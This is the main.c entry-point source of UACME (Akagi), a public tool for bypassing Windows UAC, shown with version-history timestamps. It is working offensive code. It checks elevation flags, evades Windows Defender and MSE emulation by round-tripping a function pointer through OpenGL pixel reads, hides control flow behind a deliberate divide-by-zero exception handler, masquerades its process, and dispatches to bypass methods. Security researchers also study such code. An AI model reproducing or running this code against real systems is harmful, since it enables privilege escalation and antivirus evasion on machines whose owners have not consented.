UACME/Source/Akagi/main.c

506 lines
12 KiB
C
Raw Normal View History

2015-03-28 12:00:29 +00:00
/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2014 - 2019
2015-03-28 12:00:29 +00:00
*
* TITLE: MAIN.C
*
* VERSION: 3.17
2015-03-28 12:00:29 +00:00
*
* DATE: 18 Mar 2019
2015-03-28 12:00:29 +00:00
*
* Program entry point.
2015-03-28 12:00:29 +00:00
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#define OEMRESOURCE
2015-03-28 12:00:29 +00:00
#include "global.h"
#include <gl\GL.h>
#pragma comment(lib, "opengl32.lib")
2016-07-07 14:16:12 +00:00
#pragma comment(lib, "comctl32.lib")
2015-03-28 12:00:29 +00:00
//Runtime context global variable
PUACMECONTEXT g_ctx;
//Image Base Address global variable
HINSTANCE g_hInstance;
TEB_ACTIVE_FRAME_CONTEXT g_fctx = { 0, "(=^..^=)" };
2015-10-12 10:38:28 +00:00
static pfnDecompressPayload pDecompressPayload = NULL;
/*
* ucmDummyWindowProc
*
* Purpose:
*
* Part of antiemulation, does nothing, serves as a window for ogl operations.
*
*/
LRESULT CALLBACK ucmDummyWindowProc(
HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam
)
{
switch (uMsg) {
case WM_CLOSE:
PostQuitMessage(0);
break;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
2015-03-28 12:00:29 +00:00
/*
2015-10-12 10:38:28 +00:00
* ucmInit
*
* Purpose:
*
* Prestart phase with MSE / Windows Defender anti-emulation part.
2015-10-12 10:38:28 +00:00
*
* Note:
*
* supHeapAlloc unavailable during this routine and calls from it.
*
2015-10-12 10:38:28 +00:00
*/
NTSTATUS ucmInit(
_Inout_ UCM_METHOD *RunMethod,
_In_reads_or_z_opt_(OptionalParameterLength) LPWSTR OptionalParameter,
_In_opt_ ULONG OptionalParameterLength,
_In_ BOOL OutputToDebugger
)
2015-10-12 10:38:28 +00:00
{
BOOL cond = FALSE;
UCM_METHOD Method;
NTSTATUS Result = STATUS_SUCCESS;
PVOID Ptr;
LPWSTR optionalParameter = NULL;
ULONG optionalParameterLength = 0;
MSG msg1;
WNDCLASSEX wincls;
BOOL rv = 1;
HWND TempWindow;
HGLRC ctx;
HDC dc1;
int index;
#ifndef _DEBUG
TOKEN_ELEVATION_TYPE ElevType;
#endif
2015-10-12 10:38:28 +00:00
2017-12-17 03:58:48 +00:00
ULONG bytesIO;
WCHAR szBuffer[MAX_PATH + 1];
WCHAR WndClassName[] = TEXT("reirraC");
WCHAR WndTitleName[] = TEXT("igakA");
PIXELFORMATDESCRIPTOR pfd = {
sizeof(PIXELFORMATDESCRIPTOR),
1,
PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER | PFD_SWAP_EXCHANGE | PFD_GENERIC_ACCELERATED,
PFD_TYPE_RGBA,
32, 8, 0, 8, 0, 8, 0, 8, 0,
0, 0, 0, 0, 0, 32, 0, 0,
PFD_MAIN_PLANE, 0, 0, 0, 0
};
do {
//we could read this from usershareddata but why not use it
bytesIO = 0;
RtlQueryElevationFlags(&bytesIO);
if ((bytesIO & DBG_FLAG_ELEVATION_ENABLED) == 0) {
Result = STATUS_ELEVATION_REQUIRED;
break;
}
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED))) {
Result = STATUS_INTERNAL_ERROR;
break;
}
2016-07-07 14:16:12 +00:00
InitCommonControls();
if (g_hInstance == NULL)
g_hInstance = (HINSTANCE)NtCurrentPeb()->ImageBaseAddress;
if (*RunMethod == UacMethodInvalid) {
bytesIO = 0;
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
GetCommandLineParam(GetCommandLine(), 1, szBuffer, MAX_PATH, &bytesIO);
if (bytesIO == 0)
return STATUS_INVALID_PARAMETER;
Method = (UCM_METHOD)strtoul(szBuffer);
*RunMethod = Method;
}
else {
Method = *RunMethod;
}
#ifndef _DEBUG
if (Method == UacMethodTest)
return STATUS_INVALID_PARAMETER;
#endif
if (Method >= UacMethodMax)
return STATUS_INVALID_PARAMETER;
2015-10-12 10:38:28 +00:00
#ifndef _DEBUG
ElevType = TokenElevationTypeDefault;
if (supGetElevationType(&ElevType)) {
if (ElevType != TokenElevationTypeLimited) {
return STATUS_NOT_SUPPORTED;
}
}
2017-12-17 03:58:48 +00:00
else {
Result = STATUS_INTERNAL_ERROR;
2017-12-17 03:58:48 +00:00
break;
}
#endif
//
// Process optional parameter.
//
if ((OptionalParameter == NULL) || (OptionalParameterLength == 0)) {
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
bytesIO = 0;
GetCommandLineParam(GetCommandLine(), 2, szBuffer, MAX_PATH, &bytesIO);
if (bytesIO > 0) {
optionalParameter = (LPWSTR)&szBuffer;
optionalParameterLength = bytesIO;
}
}
else {
optionalParameter = OptionalParameter;
optionalParameterLength = OptionalParameterLength;
}
2015-10-12 10:38:28 +00:00
wincls.cbSize = sizeof(WNDCLASSEX);
wincls.style = CS_OWNDC;
wincls.lpfnWndProc = &ucmDummyWindowProc;
wincls.cbClsExtra = 0;
wincls.cbWndExtra = 0;
wincls.hInstance = g_hInstance;
wincls.hIcon = NULL;
wincls.hCursor = (HCURSOR)LoadImage(NULL, MAKEINTRESOURCE(OCR_NORMAL), IMAGE_CURSOR, 0, 0, LR_SHARED);
wincls.hbrBackground = NULL;
wincls.lpszMenuName = NULL;
wincls.lpszClassName = WndClassName;
wincls.hIconSm = 0;
RegisterClassEx(&wincls);
TempWindow = CreateWindowEx(WS_EX_TOPMOST, WndClassName, WndTitleName,
WS_VISIBLE | WS_POPUP | WS_CLIPCHILDREN | WS_CLIPSIBLINGS, 0, 0, 30, 30, NULL, NULL, g_hInstance, NULL);
2017-12-17 03:58:48 +00:00
//
// Flashes and sparks.
//
dc1 = GetDC(TempWindow);
index = ChoosePixelFormat(dc1, &pfd);
SetPixelFormat(dc1, index, &pfd);
ctx = wglCreateContext(dc1);
wglMakeCurrent(dc1, ctx);
glDrawBuffer(GL_BACK);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
glBegin(GL_TRIANGLES);
glColor4i(1, 0, 1, 0);
glVertex2i(-1, -1);
glVertex2i(0, 1);
glVertex2i(1, -1);
glEnd();
#pragma warning(push)
#pragma warning(disable: 4054)//code to data
Ptr = (PVOID)&DecompressPayload;
#pragma warning(pop)
pDecompressPayload = NULL;
#ifdef _WIN64
glDrawPixels(2, 1, GL_RGBA, GL_UNSIGNED_BYTE, &Ptr);
glReadPixels(0, 0, 2, 1, GL_RGBA, GL_UNSIGNED_BYTE, (GLvoid *)&pDecompressPayload);
#else
glDrawPixels(1, 1, GL_RGBA, GL_UNSIGNED_BYTE, &Ptr);
glReadPixels(0, 0, 1, 1, GL_RGBA, GL_UNSIGNED_BYTE, (GLvoid *)&pDecompressPayload);
#endif
SwapBuffers(dc1);
SendMessage(TempWindow, WM_CLOSE, 0, 0);
2015-10-12 10:38:28 +00:00
do {
rv = GetMessage(&msg1, NULL, 0, 0);
2015-10-12 10:38:28 +00:00
if (rv == -1)
break;
TranslateMessage(&msg1);
DispatchMessage(&msg1);
} while (rv != 0);
UnregisterClass(WndClassName, g_hInstance);
g_ctx = (PUACMECONTEXT)supCreateUacmeContext(Method,
optionalParameter,
optionalParameterLength,
pDecompressPayload,
OutputToDebugger);
} while (cond);
if (g_ctx == NULL) {
Result = STATUS_FATAL_APP_EXIT;
}
return Result;
2015-10-12 10:38:28 +00:00
}
/*
* ucmMain
2015-03-28 12:00:29 +00:00
*
* Purpose:
*
* Program entry point.
*
*/
NTSTATUS WINAPI ucmMain(
_In_opt_ UCM_METHOD Method,
_In_reads_or_z_opt_(OptionalParameterLength) LPWSTR OptionalParameter,
_In_opt_ ULONG OptionalParameterLength,
_In_ BOOL OutputToDebugger
)
2015-03-28 12:00:29 +00:00
{
NTSTATUS Status;
UCM_METHOD method = Method;
2015-03-28 12:00:29 +00:00
wdCheckEmulatedVFS();
2016-06-19 08:57:23 +00:00
Status = ucmInit(&method,
OptionalParameter,
OptionalParameterLength,
OutputToDebugger);
switch (Status) {
case STATUS_ELEVATION_REQUIRED:
ucmShowMessage(OutputToDebugger, TEXT("Please enable UAC for this account."));
break;
case STATUS_NOT_SUPPORTED:
ucmShowMessage(OutputToDebugger, TEXT("Admin account with limited token required."));
break;
case STATUS_INVALID_PARAMETER:
ucmShowMessage(OutputToDebugger, T_USAGE_HELP);
break;
case STATUS_FATAL_APP_EXIT:
return Status;
break;
default:
break;
}
if (Status != STATUS_SUCCESS) {
return Status;
}
supMasqueradeProcess(FALSE);
return MethodsManagerCall(method);
2015-10-12 10:38:28 +00:00
}
/*
* ucmSehHandler
*
* Purpose:
*
* Program entry point seh handler, indirect control passing.
*
*/
2017-12-17 03:58:48 +00:00
INT ucmSehHandler(
_In_ UINT ExceptionCode,
_In_ EXCEPTION_POINTERS *ExceptionInfo
)
{
UACME_THREAD_CONTEXT *uctx;
2017-12-17 03:58:48 +00:00
UNREFERENCED_PARAMETER(ExceptionInfo);
if (ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO) {
uctx = (UACME_THREAD_CONTEXT*)RtlGetFrame();
while ((uctx != NULL) && (uctx->Frame.Context != &g_fctx)) {
uctx = (UACME_THREAD_CONTEXT *)uctx->Frame.Previous;
}
if (uctx) {
if (uctx->ucmMain) {
uctx->ucmMain = (pfnEntryPoint)supDecodePointer(uctx->ucmMain);
uctx->ReturnedResult = uctx->ucmMain(UacMethodInvalid,
NULL,
0,
FALSE);
}
}
2017-12-17 03:58:48 +00:00
return EXCEPTION_EXECUTE_HANDLER;
}
return EXCEPTION_CONTINUE_SEARCH;
}
#undef COMPILE_AS_DLL
typedef struct _CALLEE_PARAMS {
UCM_METHOD Method;
LPWSTR OptionalParameter;
ULONG OptionalParameterLength;
BOOL OutputToDebugger;
} CALLEE_PARAMS, *PCALLEE_PARAMS;
/*
* ucmCalleeThread
*
* Purpose:
*
* Worker thread, mostly for COM.
*
*/
DWORD WINAPI ucmCalleeThread(_In_ LPVOID lpParameter)
{
CALLEE_PARAMS *Params = (PCALLEE_PARAMS)lpParameter;
ExitThread(ucmMain(Params->Method,
Params->OptionalParameter,
Params->OptionalParameterLength,
Params->OutputToDebugger));
}
/*
* ucmRunMethod
*
* Purpose:
*
* Dll only export.
*
*/
NTSTATUS WINAPI ucmRunMethod(
_In_ UCM_METHOD Method,
_In_reads_or_z_opt_(OptionalParameterLength) LPWSTR OptionalParameter,
_In_ ULONG OptionalParameterLength,
_In_ BOOL OutputToDebugger
)
{
#ifdef COMPILE_AS_DLL
HANDLE hCalleeThread;
DWORD ThreadId, ExitCode = 0;
CALLEE_PARAMS Params;
if (wdIsEmulatorPresent2()) {
RtlRaiseStatus(STATUS_TRUST_FAILURE);
}
if (wdIsEmulatorPresent() == STATUS_NOT_SUPPORTED) {
Params.Method = Method;
Params.OptionalParameter = OptionalParameter;
Params.OptionalParameterLength = OptionalParameterLength;
Params.OutputToDebugger = OutputToDebugger;
hCalleeThread = CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)ucmCalleeThread,
&Params,
0,
&ThreadId);
if (hCalleeThread) {
WaitForSingleObject(hCalleeThread, INFINITE);
GetExitCodeThread(hCalleeThread, &ExitCode);
CloseHandle(hCalleeThread);
return ExitCode;
}
}
return STATUS_ACCESS_DENIED;
#else
UNREFERENCED_PARAMETER(Method);
UNREFERENCED_PARAMETER(OptionalParameter);
UNREFERENCED_PARAMETER(OptionalParameterLength);
UNREFERENCED_PARAMETER(OutputToDebugger);
return STATUS_NOT_IMPLEMENTED;
#endif
}
#ifndef COMPILE_AS_DLL
/*
* main
*
* Purpose:
*
* Program entry point.
*
*/
#pragma comment(linker, "/ENTRY:main")
VOID __cdecl main()
2015-10-12 10:38:28 +00:00
{
2017-12-17 03:58:48 +00:00
int v = 1, d = 0;
UACME_THREAD_CONTEXT uctx;
RtlSecureZeroMemory(&uctx, sizeof(uctx));
if (wdIsEmulatorPresent() == STATUS_NOT_SUPPORTED) {
uctx.Frame.Context = &g_fctx;
uctx.ucmMain = (pfnEntryPoint)supEncodePointer(ucmMain);
RtlPushFrame((PTEB_ACTIVE_FRAME)&uctx);
__try {
v = (int)USER_SHARED_DATA->NtProductType;
d = (int)USER_SHARED_DATA->AlternativeArchitecture;
v = (int)(v / d);
}
__except (ucmSehHandler(GetExceptionCode(), GetExceptionInformation())) {
v = 1;
}
2017-12-17 03:58:48 +00:00
RtlPopFrame((PTEB_ACTIVE_FRAME)&uctx);
}
if (v > 0)
2017-12-17 03:58:48 +00:00
ExitProcess(uctx.ReturnedResult);
2015-03-28 12:00:29 +00:00
}
#else
/*
* DllMain
*
* Purpose:
*
* Dll entry point.
*
*/
#pragma comment(linker, "/DLL /ENTRY:DllMain")
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
UNREFERENCED_PARAMETER(lpvReserved);
if (fdwReason == DLL_PROCESS_ATTACH) {
LdrDisableThreadCalloutsForDll(hinstDLL);
g_hInstance = hinstDLL;
}
return TRUE;
}
#endif //COMPILE_AS_DLL